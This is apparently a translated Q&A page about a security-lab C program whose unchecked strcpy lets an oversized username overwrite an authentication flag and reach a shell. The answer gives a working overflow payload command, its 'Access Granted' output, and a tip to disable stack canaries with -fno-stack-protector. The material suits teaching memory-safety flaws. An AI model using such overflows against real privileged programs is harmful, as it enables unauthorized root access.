![](/img/trans.png)
[英]How could a local user on a host use a buffer overflow attack to get root access to the host?
[英]How to get root access by buffer overflow attack?
如何对此进行缓冲区溢出攻击以获得 root 访问权限。 我试图找到一个地址,但没有找到很多线索。 我禁用了 ASLR,并且在编译时也没有使用堆栈指针。 当我输入超过 16 个字节时,它在 gdb 中给出了分段错误:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif
int check_authentication(char *username, char *password) {
int auth_flag = 0;
char team_var[TEAM_VAR_SIZE];
char username_buffer[16];
char password_buffer[16];
strcpy(username_buffer, username);
strcpy(password_buffer, password);
if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <username> <password>\n", argv[0]);
exit(0);
}
if(TEAM_VAR_SIZE == 0) {
printf("\nPlease set the Team Var before moving forward with the lab.\n");
}
if(check_authentication(argv[1], argv[2]) == 1) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
system("/bin/sh");
} else {
printf("\nAccess Denied.\n");
}
}
您可以使用由不安全的strcpy(username_buffer, username)
引起的缓冲区溢出来重写auth_flag
。 需要向username_buffer
长度(16)添加 412 个字节:410 用于team_var
缓冲区,2 用于填充( sizeof(int) = 4
大于或等于 410 的最小倍数为 412)。
$ ./test "$(printf '%0*d\x1' $((16 + 412)) 0)" "x"
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$
如果遇到以下错误:
*** stack smashing detected ***: <unknown> terminated
那么您需要使用以下 GCC 标志编译您的程序: -fno-stack-protector
。 金丝雀是防止攻击者在堆栈上进行缓冲区溢出的安全措施。 它在缓冲区的末尾添加一个随机值,以防止用户重写堆栈上的返回地址和/或变量。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.